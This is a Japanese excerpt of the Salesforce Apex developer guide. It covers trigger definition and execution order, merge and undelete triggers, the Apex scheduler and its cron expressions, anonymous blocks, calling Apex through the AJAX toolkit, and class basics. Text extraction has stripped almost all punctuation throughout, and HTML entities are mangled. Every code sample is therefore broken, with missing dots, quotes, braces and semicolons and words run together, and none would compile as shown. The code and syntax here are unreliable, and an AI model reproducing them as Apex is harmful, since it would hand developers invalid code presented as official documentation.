trigger oppTrigger on Opportunity (before delete) for (Quote__c q [select opportunity__cfrom quote__c where opportunity__c in TriggeroldMapkeySet()]) TriggeroldMapget(qopportunity__c)addError(Cannot delete opportunity with a quote)

トリガを使用した一意の項目を持つレコードの挿入または更新

insertイベントまたは upsertイベントによってレコードがバッチ内の別の新しいレコードで一意の項目の値を複製する場合重複したレコードについてのエラーメッセージには最初のレコードの ID が記載されますただし要求が完了するまではエラーメッセージが適切でない場合があります

トリガがある場合一括操作のリトライロジックによりロールバックリトライサイクルが発生しますそのリトライサイクルは新しいキーを新しいレコードに割り当てますたとえば2 つのレコードに一意の項目の同じ値が挿入されinsertイベントがトリガに定義されている場合2 番目の重複レコードが失敗し最初のレコードの ID が報告されますただし変更がロールバックし最初のレコードが再挿入されるとレコードは新しい ID を受け取りますつまり2 番目のレコードで報告されるエラーメッセージは有効ではありません

トリガの定義トリガスクリプトは関連するオブジェクトの下にメタデータとして保存されますSalesforcecomでトリガを定義する手順は次のとおりです

1 標準オブジェクトの場合は[設定] [カスタマイズ] をクリックし[トリガ] をクリックします

Apex の呼び出し Version 180 | トリガの定義 | 70

カスタムオブジェクトの場合は[設定] [作成] [オブジェクト] をクリックしオブジェクトの名前をクリックします

キャンペーンメンバーの場合[設定] [カスタマイズ] [キャンペーン] [キャンペーンメンバー] [トリガ] をクリックします

ケースコメントの場合は[設定] [ケース] [ケースコメント] [トリガ] をクリックします

電子メールメッセージの場合は[設定] [ケース] [電子メールメッセージ] [トリガ]をクリックします2 [トリガ] 関連リストで[新規] をクリックします3 [バージョン設定]をクリックしてこのトリガで使用するApexおよびAPIのバージョンを指定します組織

がAppExchangeから管理パッケージをインストールした場合このトリガで使用する各管理パッケージのバージョンも指定できます通常はすべてのバージョンについてデフォルト値を使用してくださいデフォルト値ではApexおよびAPIについても各管理パッケージについてもトリガを最新バージョンに関連付けます最新バージョンのパッケージのものとは異なるコンポーネントや機能にアクセスする場合は管理パッケージの古いバージョンを指定することもできます古いバージョンのApexおよびAPIを指定して特定の動作を維持できます

4 トリガをコンパイルして有効にする必要があれば[有効]チェックボックスをオンにします組織のメタデータにスクリプトを保存するだけならばこのチェックボックスはオフにしておきますこのチェックボックスはデフォルトではオンです

5 [内容]テキストボックスでそのトリガのApexを入力します1 つのトリガは最大 32000文字までです

トリガを定義するには次の構文を使用します

trigger triggerName on ObjectName (trigger_events) code_block

trigger_eventsには次のイベントを 1 つ以上含むカンマ区切りのリストを指定できます

bull before insert

bull before update

bull before delete

bull after insert

bull after update

bull after delete

bull after undelete

メモ

bull webServiceキーワードをトリガで使用できるのはメソッドで非同期として定義されている場合つまりメソッドが futureキーワードで定義されている場合のみです

bull 定期的な行動または定期的な ToDo の insertdeleteまたは updateによって呼び出されるトリガはForcecom API からトリガが大量に呼び出されるときランタイムエラーになります

6 [保存] をクリックします

メモ トリガは最後にコンパイルされて以降依存するメタデータに変更がない限りIsValidフラグを trueに設定して保存しますオブジェクトや項目の説明の編集などの表面的な変更も含めてトリガで使用されているオブジェクト名や項目に変更があるとApex コンパイラがコードを再処理するまでisValidフラグは falseに設定されますトリガが次に実行されときかユーザがトリガをメタデータに再保存するときに再コンパイルされます

Apex の呼び出し Version 180 | トリガの定義 | 71

参照項目が削除済みのレコードを参照している場合参照項目は自動的に null になりApex トリガ入力規則ワークフロールールまたは積み上げ集計項目は実行されません

Apex トリガエディタ

VisualforceまたはApexを編集するときVisualforce開発モードフッターでまたは設定から次の機能を持つエディタを使用できます

構文の強調表示エディタはキーワードとすべての関数および演算子について自動的に構文を強調表示します

検索 ( )

検索により現在のページクラスまたはトリガの中のテキストを検索できます検索を使用するには[検索]テキストボックスに文字列を入力し[次を検索] をクリックします

bull 検出した検索文字列を他の文字列に置き換えるには[置換]テキストボックスに新しい文字列を入力しそのインスタンスだけを置き換える場合は [置換] をクリックしそのインスタンスとそれ以外にそのページクラスまたはトリガに出現する検索文字列のすべてのインスタンスを置き換える場合は[すべて置換] をクリックします

bull 検索操作で大文字小文字を区別するには[大文字と小文字を区別する] オプションをオンにしますbull 検索文字列として正規表現を使用するには[正規表現]オプションをオンにします正規表現はJavaScript

の正規表現規則に従います正規表現を使った検索では折り返しされて複数行になる文字列も検索できます

正規表現で検出した文字列を置換操作で使用する場合検出した検索文字列から得られる正規表現のグループ変数 ($1$2など) をバインドすることもできますたとえばltH1gtタグを ltH2gtタグで置き換え元の ltH1gtの属性はすべてそのままにするにはltH1(s+)()gtを検索しそれを ltH2$1$2gtで置き換えます

指定行に移動 ( )

このボタンにより指定した行番号を強調表示できますその行が現在表示されていない場合はエディタがその行までスクロールします

元に戻す ( ) またはやり直し ( )

[元に戻す] を使用して編集動作を取り消し[やり直し] により元に戻した編集動作をやり直します

フォントサイズドロップダウンリストからフォントサイズを選択しエディタに表示される文字のサイズを制御します

行と列の位置

カーソルの行と列の位置はエディタ下部のステータスバーに表示されますこれは[指定行に移動] ( )とともに使用しエディタ内をすばやく移動できます

行と文字のカウント行と文字の合計数はエディタ下部のステータスバーに表示されます

Apex の呼び出し Version 180 | トリガの定義 | 72

トリガと Merge ステートメント結合処理では独自のトリガイベントは発生しません代わりにdelete イベントおよび update イベントが発生します

削除されるレコードの削除一度の結合操作で削除されるすべてのレコードに対して単一の delete イベントが発生します結合操作の結果として削除されたレコードを指定するにはTriggeroldの MasterRecordId項目を使用します結合操作により削除されるレコードのMasterRecordId項目には更新されるレコードのIDが設定されますMasterRecordId項目は after deleteトリガイベントでのみ設定されますアプリケーションで結合の結果として削除されたレコードに特別な処理が必要な場合after deleteトリガイベントを使用する必要があります

更新されるレコードの処理一度の結合操作では更新されるレコードに対してのみ単一の update イベントが発生します結合操作の結果として再び親となる子レコードではトリガは発生しません

たとえば 2 つの取引先担当者が結合する場合取引先担当者の delete および update トリガが発生します取引先や商談など取引先担当者に関連するレコードのトリガは発生しません

結合が行われる場合次の順にイベントが発生します

1 before deleteトリガが発生します2 結合によって必要なレコードを削除し新しい親レコードを子レコードに割り当て削除されたレコードの

MasterRecordId項目を設定します3 after deleteトリガが発生します4 マスタレコードに必要な特定の更新を実行します通常の更新トリガが適用されます

トリガと復元レコードafter undeleteトリガイベントは復元レコードつまりいったん削除されごみ箱から復元したレコードのみを扱います未削除レコードとも呼ばれます

after undeleteトリガイベントは最上位のオブジェクトのみ実行しますたとえば取引先を削除すると商談も削除されます取引先をごみ箱から復元すると商談も復元されます取引先と商談の両方に関連するafter undeleteトリガイベントがある場合取引先の after undeleteトリガイベントのみを実行します

after undeleteトリガイベントは次のオブジェクトにのみ発生します

bull 取引先bull 納入商品bull キャンペーンbull ケースbull 取引先担当者bull 契約bull カスタムオブジェクトbull イベントbull リードbull 商談

Apex の呼び出し Version 180 | トリガと Merge ステートメント | 73

bull 商品bull ソリューションbull タスク

トリガと実行の順序レコードを insertupdateupsertステートメントを使用して保存すると次のイベントが順番に発生します

メモ サーバ上でこれらのイベントが実行される前にブラウザはレコードに連動選択リスト項目が含まれていることを確認する JavaScript 検証を実行します検証は連動選択リストを使用できる値に制限しますクライアント側では他に検証は行われません

サーバ側では次のことが行われます

1 元のレコードがデータベースからロードまたは insertステートメント用にレコードを初期化します2 要求により新しいレコード項目の値がロードされ古い値を上書きします要求が標準 UI 編集ページから行

われた場合次の点についてレコードを確認するシステム検証を実行します

bull レイアウト固有のルールの準拠bull レイアウトレベルおよび項目定義レベルで必要な値bull 有効な項目形式bull 最大項目長

Apex アプリケーションまたは Web サービス API コールなど他のソースから要求が行われた場合この段階でシステム検証は実行されません

3 すべての beforeトリガを実行します4 すべての必須項目にnull以外の値があることを検証しユーザー定義の入力規則を実行するなどシステム

検証がもう一度行われます2回目の検証が行われない場合の唯一のシステム検証 (標準 UI 編集ページから要求が行われた場合) はレイアウト固有のルールの適用となります

5 レコードはデータベースに保存されますがコミットはされません6 すべての afterトリガを実行します7 割り当てルールを実行します8 自動レスポンスルールを実行します9 ワークフロールールを実行します10 ワークフローの項目自動更新がある場合レコードを再度更新します11 レコードがワークフローの項目自動更新により更新された場合beforeトリガおよびafterトリガを再度(し

かし一度きり) 発生します

メモ 更新する必要がある場合にのみbeforeトリガおよび afterトリガが複数回発生します項目が既に値に設定されている場合トリガは再度発生しません

12 エスカレーションルールを実行します13 レコードにロールアップ集計項目が含まれる場合またはオブジェクト間ワークフローの一部である場合

計算を実行し親レコードのロールアップ集計項目を更新します14 すべての DML 操作がデータベースにコミットされます15 電子メール送信などコミット後のロジックが実行されます

Apex の呼び出し Version 180 | トリガと実行の順序 | 74

メモ 組織のワークフロールールおよび積み上げ集計項目の評価という重要な更新が有効である場合再帰保存時のステップ 7 から 13 をスキップします Salesforcecom オンラインヘルプの「Spring 09 ワークフロールールおよび積み上げ集計項目の評価の更新とは」を参照してください

その他の考慮事項

トリガを使用する場合次の点に注意してください

bull [リードの取引開始による入力規則とワークフロートリガの実行]が選択されておりリード取引開始によって作成された商談にApexトリガが関連付けられている場合そのトリガは商談が作成された直後かつ商談の取引先責任者ロールが作成される前に実行されます詳細はSalesforcecom オンラインヘルプの「リード設定のカスタマイズ」を参照してください

bull beforeトリガを設定し商談レコードの [フェーズ]および [売上予測分類]を設定する場合次のように動作します

- [フェーズ]および [売上予測分類]を設定すると商談レコードにはこれらの正確な値が含まれます- [フェーズ]を設定して [売上予測分類]を設定しない場合商談レコードの [売上予測分類]のデフォルト値

はトリガ [フェーズ]に関連した値になります- [フェーズ]を API で指定した値またはユーザーインターフェースから受信した値にリセットすると[売

上予測分類]値も API コールまたはユーザーインターフェースに由来するものでなければなりません[売上予測分類]の値を指定せず入力される [フェーズ]がトリガ [フェーズ]とは異なる場合[売上予測分類]のデフォルト値は [フェーズ]に関連する値となりますトリガ [フェーズ]および入力する [フェーズ]

が同じ場合[売上予測分類]のデフォルト値は設定されません

bull 商品を含む商談をコピーする場合次のイベントが順に発生します

1 親商談は上記のイベントリストに従って保存されます2 商談商品は上記のイベントリストに従って保存されます

メモ商談商品でエラーが発生する場合は商談に戻ってエラーを解決してからコピーを行う必要があります

商談商品に固有のカスタム項目が含まれている場合それらをすべて Null にしてから商談をコピーする必要があります

トリガを開始しない操作トリガはJava アプリケーションサーバによって開始されたまたは処理されるデータ操作言語 (DML) 操作に対してのみ呼び出されますそのためシステムによるいくつかの一括処理ではトリガを呼び出しません例には次のものが含まれます

bull 削除操作のカスケードdeleteを開始していないレコードではトリガの評価を行いませんbull 結合操作の結果として再び親となる子レコードの更新のカスケードbull キャンペーンステータスの一括変更bull ディビジョンの一括転送bull 住所の一括更新bull 承認要求の一括転送bull 電子メールの一括送信

Apex の呼び出し Version 180 | トリガを開始しない操作 | 75

bull カスタム項目のデータ型の変更bull 選択リストの名前変更または置換bull 価格表の管理bull 転送ディビジョンオプションがオンになっているユーザのデフォルトディビジョンの変更

メモ 個人取引先の挿入更新削除を行うと取引先担当者トリガではなく取引先トリガが発生します

リードの取引開始処理の場合リードの取引開始時の入力規制およびトリガが有効化されている場合のみ次の操作に関連する beforeトリガが発生します

bull 取引先連絡先商談の insert

bull 取引先および連絡先の update

商談の商談製品を変更する場合または商談製品のスケジュールで商談製品が変更される場合商談製品によって商談が変更される場合でも商談の before トリガおよび after トリガ検証ルールは発生しませんただしロールアップ要約項目が更新され商談に関連するワークフロールールが実行されます

PageReference オブジェクトの getContentメソッドはトリガ内で使用できません

ContentVersion オブジェクトについては次の点に注意してください

bull スライドおよびスライドの自動修正などContentVersion オブジェクトを使用するコンテンツパック操作はトリガを開始しません

メモ パック内のスライドが修正されるとコンテンツパックが修正されます

bull TagCsvContentSizeおよびVersionData項目の値はContentVersion レコードを作成または更新する要求が API から作成される場合にのみ使用できます

bull ContentVersion オブジェクトの delete トリガの前後で使用することはできません

トリガで更新できない項目一部の項目値はbeforeトリガが発生した後に行われるシステムの save 操作時に設定されます結果としてこれらの項目は変更できずまた before insertトリガまたは before updateトリガで正確に検出できません例には次のものが含まれます

bull TaskisClosed

bull Opportunityamountbull OpportunityForecastCategory

bull OpportunityisWon

bull OpportunityisClosed

bull ContractactivatedDate

bull ContractactivatedById

bull CaseisClosed

bull SolutionisReviewed

bull Id (すべてのレコード)bull createdDate (すべてのレコード)bull lastUpdated (すべてのレコード)

Apex の呼び出し Version 180 | トリガで更新できない項目 | 76

Opportunityに lineitemsがない場合Amountは beforeトリガによって変更することはできません

Idおよび createdDateは before updateトリガで検出できますが変更はできません

トリガの例外トリガを使用してレコードまたは項目に addError()メソッドを呼び出してDML 操作が行われないようにすることができますinsertトリガおよび updateトリガの Triggernewレコードまたは deleteトリガのTriggeroldレコードに使用するとアプリケーションインターフェースおよびログにカスタムエラーメッセージが表示されます

メモ エラーを beforeトリガで追加すると応答時間の遅延がほとんど生じません

処理されるレコードのサブセットはaddError()メソッドでマークできます

bull トリガが Apex の DML ステートメントにより実行される場合 つのエラーはすべての処理に対するロールバックを引き起こしますただしランタイムエンジンはすべてのレコードを処理して完全なエラーリストを生成します

bull トリガが Forcecom API の DML 一括処理により実行される場合ランタイムエンジンは不正なレコードを除外しエラーのないレコードのみを保存します「DML 例外の一括処理」 (ページ205)を参照してください

トリガが未処理の例外を投げた場合すべてのレコードがエラーとしてマークされそれより先の処理は行われません

Apex スケジューラ

Apex クラスを呼び出し特定の時間に実行するにはまずクラスに Schedulableを実装し page in theSalesforcecom ユーザインターフェースの [Apex をスケジュール] ページまたは Systemscheduleメソッドを使用してスケジュールを指定します

[Apex をスケジュール] の詳細はSalesforcecom オンラインヘルプの「Apex のスケジュール」を参照してください

重要 Salesforcecom ではスケジュールされた時間のキューの処理だけを追加します実際の実行はサービスの使用可能状態に応じて遅れる場合があります

一度に使用できるスケジュールクラスは 10 件ですSalesforcecom の [スケジュール済みジョブ] を表示してまたはプログラムで Forcecom Web サービス API を使用して AsyncApexJob オブジェクトを問い合わせて現在のカウントを評価できます

クラスをトリガからスケジュールする場合は細心の注意を払ってくださいトリガは 10 件を超えるスケジュールクラスを追加しないようにする必要があります具体的にはAPI の一括更新インポートウィザードユーザインターフェースを使用した一括レコードの変更および複数のレコードを一度に更新できるすべてのケースなどです

Schedulableインターフェースの実装

一定の間隔で実行されるようにApexクラスのスケジュールを設定するにはまず Salesforcecomが提供するインターフェース Schedulableを実装する Apex クラスを記述します

Apex の呼び出し Version 180 | トリガの例外 | 77

スケジューラはシステムとして稼動しますユーザがクラスを実行する権限を持っているかどうかに関係なくすべてのクラスが実行されますクラス権限設定の詳細はSalesforcecom オンラインヘルプの「Apex クラスセキュリティの設定」を参照してください

Salesforcecom ユーザインターフェースを使用してスケジュールされた Apex ジョブの実行を監視または停止するには[設定] [監視] [スケジュール済みジョブ] をクリックします詳細はSalesforcecom オンラインヘルプの「スケジュール済みジョブの監視」を参照してください

Systemscheduleメソッドを使用してスケジュール済みジョブの実行を停止するにはSystemabortJobメソッドを使用します

Schedulableインターフェースには実装が必要な 1 つのメソッド executeが含まれています

global void execute(SchedulableContext sc)

スケジュール済みジョブを記録するにはSchedulableContext オブジェクトを使用しますSchedulableContext メソッド getTriggerIdはこのスケジュール済みジョブに関連付けられている CronTrigger オブジェクトの IDを文字列として返しますこのメソッドはスケジュール済みジョブの進行状況を追跡するために使用します

このメソッドはスケジュールを設定するクラスのインスタンスを作成するために使用します

ヒント executeメソッドで追加処理を行うことはできますがSalesforcecomではすべての処理が別個のクラスで行われるようにすることをお勧めします

次の例ではmergeNumbersと呼ばれるクラスの Schedulableインターフェースを実装します

global class scheduledMerge implements Schedulable global void execute(SchedulableContextSC) mergeNumbers M = new mergeNumbers()

次の例では前述のクラスを実装するための SystemScheduleメソッドを使用します

scheduledMerge m = new scheduledMerge() String sch = 20 30 8 10 2 systemschedule(MergeJob sch m)

Apex の一括処理クラスで Schedulableインターフェースを使用することもできます次の例ではbatchable

と呼ばれる Apex の一括処理クラスの Schedulableインターフェースを実装します

global class scheduledBatchable implements Schedulable global void execute(SchedulableContextsc) batchable b = new batchable() databaseexecutebatch(b)

Apex スケジューラのテスト

次はApex スケジューラを使用してテストする方法についての例を示します

これがテストするクラスです

global class TestScheduledApexFromTestMethod implements Schedulable Run the scheduledjob at midnight Sept 3rd2022 public static String CRON_EXP = 0 0 0 3 9 2022 globalvoid execute(SchedulableContext ctx) CronTrigger ct = [SELECT id CronExpressionTimesTriggered NextFireTime FROM CronTrigger WHERE id = ctxgetTriggerId()]SystemassertEquals(CRON_EXP ctCronExpression) SystemassertEquals(0 ctTimesTriggered)SystemassertEquals(2022-09-03 000000 StringvalueOf(ctNextFireTime)) Account a =[SELECT id name FROM Account WHERE name = testScheduledApexFromTestMethod] aname =testScheduledApexFromTestMethodUpdated update a

Apex の呼び出し Version 180 | Apex スケジューラ | 78

次で上記のクラスをテストします

istest class TestClass static testmethod void test() TeststartTest() Account a = newAccount() aname = testScheduledApexFromTestMethod insert a Schedule the test jobString jobId = Systemschedule(testBasicScheduledApexTestScheduledApexFromTestMethodCRON_EXP new TestScheduledApexFromTestMethod()) Getthe information from the CronTrigger API object CronTrigger ct = [SELECT id CronExpressionTimesTriggered NextFireTime FROM CronTrigger WHERE id = jobId] Verify the expressionsare the same SystemassertEquals(TestScheduledApexFromTestMethodCRON_EXPctCronExpression) Verify the job has not run SystemassertEquals(0 ctTimesTriggered) Verify the next time the job will run SystemassertEquals(2022-09-03 000000StringvalueOf(ctNextFireTime))SystemassertNotEquals(testScheduledApexFromTestMethodUpdated [SELECT id name FROMaccount WHERE id = aid]name) TeststopTest()SystemassertEquals(testScheduledApexFromTestMethodUpdated [SELECT id name FROM accountWHERE id = aid]name)

SystemScheduleメソッドの使用

Schedulableインターフェースでクラスを実装したらSystemScheduleメソッドを使用して実行しますスケジューラはシステムとして稼動しますユーザがクラスを実行する権限を持っているかどうかに関係なくすべてのクラスが実行されます

メモ クラスをトリガからスケジュールする場合は細心の注意を払ってくださいトリガは 10 件を超えるスケジュールクラスを追加しないようにする必要があります具体的にはAPI の一括更新インポートウィザードユーザインターフェースを使用した一括レコードの変更および複数のレコードを一度に更新できるすべてのケースなどです

SystemScheduleメソッドはジョブの名前ジョブの実行予定日時を表すために使用する式クラスの名前という 3 つの引数を取りますこの式の構文は次のとおりです

Seconds Minutes Hours Day_of_month Month Day_of_week optional_year

メモ Salesforcecom ではスケジュールされた時間のキューの処理だけを追加します実際の実行はサービスの使用可能状態に応じて遅れる場合があります

SystemScheduleメソッドではすべてのスケジュールの基準としてユーザのタイムゾーンが使用されます

式の値は次のようになります

特殊文字値名前None0ndash59Seconds

None0ndash59Minutes

- 0ndash23Hours

- L W1ndash31Day_of_month

- 1-12または次のとおりMonth

bull JAN

bull FEB

bull MAR

bull APR

Apex の呼び出し Version 180 | Apex スケジューラ | 79

特殊文字値名前

bull MAY

bull JUN

bull JUL

bull AUG

bull SEP

bull OCT

bull NOV

bull DEC

- L 1-7または次のとおりDay_of_week

bull SUN

bull MON

bull TUE

bull WED

bull THU

bull FRI

bull SAT

- Null または 1970-2099optional_year

特殊文字の定義は次のとおりです

bull は値を区切りますたとえば複数の月を指定する場合は JAN MAR APRを使用しますbull - は範囲を指定しますたとえば複数の月を指定する場合は JAN-MARを使用しますbull はすべての値を指定しますたとえばMonthをと指定するとジョブは毎月にスケジュールされますbull は特定の値を指定しませんこれはDay_of_monthと Day_of_weekのみで使用でき一般にある値以

外を指定しない場合に使用しますbull は増分を指定しますスラッシュの前の数値は期間の開始を指定しスラッシュの後の数値は期間の長さ

を指定しますたとえばDay_of_monthに 15と指定した場合Apex クラスは月の 1 日から始まり5 日おきに実行されます

bull L は範囲の終了を指定しますこれはDay_of_monthと Day_of_weekでのみ使用できますDay of month

で使用するとLは 1 月 31 日うるう年の場合は 2 月 28 日など常に月末日を意味しますDay_of_week

のみで使用すると7または SATを意味しますDay_of_weekの値と一緒に使用するとその月で指定した曜日の最後を意味しますたとえば2Lと指定すると月の最終月曜日を指定することになりますLと一緒に値の範囲は使用しないでください予期しない結果が生じる場合があります

bull W は特定の日に最も近い平日 (月曜日 金曜日) を指定しますこれは Day_of_monthでのみ使用できますたとえば20Wと指定し20 日が土曜日の場合クラスは 19 日に実行されます1Wと指定すると1 日が土曜日の場合クラスはその前の月ではなく次の月曜日である 3 日に実行されます

ヒント 月の最後の平日を指定するにはLと Wを一緒に使用します

bull は weekdayday_of_monthという形式で月の第 nth日目を指定しますこれは Day_of_weekでのみ使用できますの前の数値で平日 (SUN-SAT) を指定しますの後ろの数値で月の日付を指定しますたとえば22と指定するとクラスは毎月第 2 月曜日に実行されることを意味します

Apex の呼び出し Version 180 | Apex スケジューラ | 80

式の使用法の例を次に示します

説明式

クラスは毎日午後 1 時に実行されます0 0 13

クラスは毎月最終金曜日の午後 10 時に実行されます0 0 22 6L

クラスは月曜日から金曜日の午前 10 時に実行されます

0 0 10 MON-FRI

クラスは 2010 年の毎日午後 8 時に実行されます0 0 20 2010

次の例ではクラス proscheduleによって Schedulableインターフェースが実装されますこのクラスは2月 13 日の午前 8 時に実行するようにスケジュールされています

proschedule p = new proschedule() String sch = 0 0 8 13 2 systemschedule(One TimePro sch p)

Apex スケジューラのベストプラクティス

bull Salesforcecom ではスケジュールされた時間のキューの処理だけを追加します実際の実行はサービスの使用可能状態に応じて遅れる場合があります

bull クラスをトリガからスケジュールする場合は細心の注意を払ってくださいトリガは 10 件を超えるスケジュールクラスを追加しないようにする必要があります具体的にはAPIの一括更新インポートウィザードユーザインターフェースを使用した一括レコードの変更および複数のレコードを一度に更新できるすべてのケースなどです

bull executeメソッドで追加処理を行うことはできますがSalesforcecom ではすべての処理が別個のクラスで行われるようにすることをお勧めします

bull 一度に使用できるスケジュールクラスは 10 件ですSalesforcecomの [スケジュール済みジョブ] を表示してまたはプログラムで Forcecom Web サービス API を使用して AsyncApexJob オブジェクトを問い合わせて現在のカウントを評価できます

匿名ブロック

匿名ブロックとはメタデータには格納されないものの次のいずれかをを使用して次のように実行されるApexスクリプトです

bull システムログコンソールbull Forcecom IDEbull executeAnonymous Forcecom Web サービス API コールは次のようになります

ExecuteAnonymousResult executeAnonymous(String code)

System Log コンソールまたは Forcecom IDE やランタイム時に動的に変化するスクリプトの記述などでApexを素早く評価するために匿名ブロックを使用できますたとえばユーザが名前や住所などの値を入力するクラ

Apex の呼び出し Version 180 | 匿名ブロック | 81

イアント側の Web アプリケーションを記述するとしますその場合Apex の匿名ブロックを使用しその名前と住所の連絡先をデータベースに書き込むことができます

匿名ブロックの内容については次の点に注意してください (executeAnonymouscode文字列)

bull ユーザ定義メソッドおよび例外を含めることができますbull ユーザ定義メソッドに staticキーワードを含めることはできませんbull データベースへの変更は手動でコミットする必要はありませんbull Apexスクリプトが正常に完了するとデータベースへのすべての変更は自動的にコミットされますApexス

クリプトが正常に完了しない場合データベースへのすべての変更はロールバックされますbull クラスやトリガとは異なり匿名ブロックは現在のユーザとして実行されスクリプトがユーザオブジェク

トの権限および項目レベルの権限に違反する場合コンパイルが失敗しますbull ローカル以外のスコープを含まないでくださいたとえばglobalアクセス修飾子を使用できますが意味

はありませんメソッドのスコープは匿名ブロックに制限されています

ユーザ定義メソッドでは自身や後から使用されるメソッドを事前に宣言する必要はありませんが変数は宣言されるまで参照できないことにご注意ください次の例では整数 intを宣言する必要がありますがmyProcedure1は宣言する必要はありません

Integer int1 = 0

void myProcedure1() myProcedure2()

void myProcedure2() int1++

myProcedure1()

匿名ブロックで返される結果には次の情報が含まれます

bull 発生したすべてのエラーを含めたコールのコンパイルと実行フェーズのステータス情報bull Systemdebugメソッドへのすべてのコールの出力結果も含めたデバッグログの内容 (「デバッグログの理

解」を参照)bull 各コールのスタック要素に対するクラスメソッド行番号を含めた取得できなかったすべてのスクリプ

ト実行例外の Apex スタックトレース

executeAnonymous()の詳細は「Web サービス API コールおよび Apex の SOAP ヘッダ」 (ページ 406)を参照してください「System Log コンソールの使用」および「Forcecom IDE」も参照してください

AJAX での Apex

AJAX ツールキットには匿名ブロックや公開 webServiceメソッドを通じて Apex を起動するためのサポートが組み込まれてますそれにはAJAX コードに次の行を追加します

ltscript src=soapajax150connectionjs type=textjavascriptgtltscriptgt ltscriptsrc=soapajax150apexjs type=textjavascriptgtltscriptgt

メモ AJAX ボタンの場合これらを別の形式で使用します

Apex を起動するには次の 2 つのメソッドのいずれかを使用します

Apex の呼び出し Version 180 | AJAX での Apex | 82

bull sforceapexexecuteAnonymous (script)を通じて匿名で実行しますこのメソッドが返す結果は APIの結果型と似ていますがJavaScript 構造となります

bull WSDL クラスを使用しますたとえば次の Apex クラスをコールします

global class myClass webService static Id makeContact(String lastName Account a) Contact c = new Contact(LastName = lastName AccountId = aId) return cid

次の JavaScript コードを使用します

var account = sforcesObject(Account) var id =sforceapexexecute(myClassmakeContact lastNameSmith aaccount)

executeメソッドはプリミティブデータ型 Objects およびプリミティブデータ型または sObjects のリストを使用します

パラメータを使用せずに webService メソッドをコールするにはを sforceapexexecuteの 3 つ目のパラメータとして使用しますたとえば次の Apex クラスをコールするとします

global class myClass webService static String getContextUserName() returnUserInfogetFirstName()

次の JavaScript コードを使用します

var contextUser = sforceapexexecute(myClass getContextUserName )

メモ 組織内で名前空間が定義されている場合クラスを起動するときにその名前を JavaScript コードに含める必要がありますたとえば上記のクラスをコールするにはJavaScript を次のように書き換えます

var contextUser = sforceapexexecute(myNamespacemyClass getContextUserName)

組織内で名前空間が定義されているかどうかを確認するにはSalesforcecomの組織にログインし[設定] [作成] [パッケージ] にアクセスします名前空間が定義されている場合[開発者設定] の中に表示されます

どちらの例の結果もメソッドの戻り値の型を表すネイティブな JavaScript 値となります

次の行を使用してデバッグ情報を含むポップアップ ウィンドウを表示します

sforcedebugtrace=true

Apex の呼び出し Version 180 | AJAX での Apex | 83

第 4 章

クラスオブジェクトおよびインターフェース

クラスはApex オブジェクト作成するためのテンプレートつまり設計図で他のクラスユーザ定義メソッド変数例外タイプおよび

トピック

bull クラスを理解する static 初期設定化コードで構成されますクラスオブジェクトおよびbull インターフェースおよび拡張クラ

スインターフェースはアプリケーションの [設定] [開発] [Apexクラス] に格納されています

bull キーワード 正常に保存されるとクラスメソッドや変数は他の Apex スクリプトからまたはwebServiceキーワードで指定されたメソッドのForcecombull アノテーション

bull クラスとキャスト Web サービス API (または AJAX ツールキット) を介して呼び出すことができますbull Apex クラスと Java クラスの違いほとんどの場合ここで紹介するクラスの概念は Java のカウンターパートでモデリングされておりJava での経験があればすぐに理解することができます

bull クラス定義作成bull クラスセキュリティbull 名前空間プレフィックスbull バージョン設定 bull クラスについて Apex のクラス作成の詳細

bull インターフェースおよび拡張クラスインターフェースに関する情報bull キーワードおよびアノテーションクラスメソッドまたは変数の

追加の修飾子bull クラスとキャストあるデータ型のクラスの別のデータ型への割り当

てbull Apex クラスと Java クラスの違い Apex と Java の違いbull クラス定義作成およびクラスのセキュリティユーザーがクラスにア

クセスできるようにするほかSalesforcecomユーザーインターフェースでのクラスの作成

bull 名前空間プレフィックスおよびバージョン設定名前空間プレフィックスの使用および Apex クラスのバージョニング

クラスを理解する

Java と同じようにApexではクラスを作成可能ですクラスはオブジェクトを作成するためのテンプレートつまり設計図ですオブジェクトはクラスのインスタンスです例えばPurchaseOrderクラスは注文全体と注文に伴う可能なすべてのことを示しますPurchaseOrderクラスのインスタンスが送受信する特定の注文書にあたります

すべてのオブジェクトには状態と振る舞いつまりオブジェクト自体に関する情報とオブジェクトが実行できる処理がありますPurchaseOrder オブジェクトの状態つまりオブジェクト自体の情報には送信元のユーザ作成日時重要性を表すフラグの有無などがありますPurchaseOrder の動作つまり実行できる処理には在庫の確認製品の出荷または顧客への通知が含まれます

クラスには変数とメソッドが含まれます変数はオブジェクトの Nameや Typeなどオブジェクトの状態を指定するために使用されますこれらの変数はクラスに関連付けられておりクラスのメンバーであるため一般にメンバー変数と呼ばれますメソッドはgetOtherQuotesや copyLineItemsなど動作を制御するために使用されます

インタフェースはメソッドが実装されていないクラスのようなものですメソッドのシグネチャはありますが各メソッドの本文は空です インターフェースを使用するにはインターフェースに含まれるすべてのメソッドの本文を提供することによって別のクラスがインターフェースを実装する必要があります

クラスオブジェクトおよびインタフェースに関する詳細についてはhttpjavasuncomdocsbookstutorialjavaconceptsindexhtml を参照してください

Apex クラスの定義Apex ではトップレベルのクラス (外部クラスとも呼ぶ) とクラス内に定義されているクラスである内部クラスの両方を定義できます内部クラスは1 つ下のレベルのみです例

public class myOuterClass 追加の myOuterClass コードをここに記述class myInnerClass myInnerClass コードをここに記述

クラスを定義するには以下を指定します

1 アクセス修飾子

bull トップレベルのクラスの宣言にはpublicまたはglobalなどのアクセス修飾子の 1 つを使用しなければなりません

bull 内部クラスの宣言にはアクセス修飾子を使用する必要はありません

2 オプションの定義修飾子 (virtualや abstractなど)3 必須 クラス名に続くキーワード class

4 オプションの拡張および実装またはそのいずれか

クラスを定義するには次の構文を使用します

private | public | global [virtual | abstract | with sharing | without sharing | (none)]class ClassName [implements InterfaceNameList | (none)] [extends ClassName | (none)] クラスのボディ

クラスオブジェクトおよびインターフェース Version 180 | クラスを理解する | 85

bull privateアクセス修飾子はこのクラスがローカルからのみ見えるつまりコードのこのセクションからのみ見えることを宣言しますこれが内部クラスのデフォルトアクセスですつまり内部クラスにアクセス修飾子を指定しない場合privateとみなされますこのキーワードは内部クラスでのみ使用できます

bull publicアクセス修飾子はこのクラスがアプリケーションや名前空間から見えることを宣言しますbull globalアクセス修飾子はこのクラスがすべてのApexスクリプトから見えることを宣言しますwebService

キーワードと共に定義されているメソッドを含むすべてのクラスはglobalとして宣言する必要がありますメソッドまたは内部クラスを globalとして宣言した場合外部のトップレベルクラスも globalとして宣言する必要があります

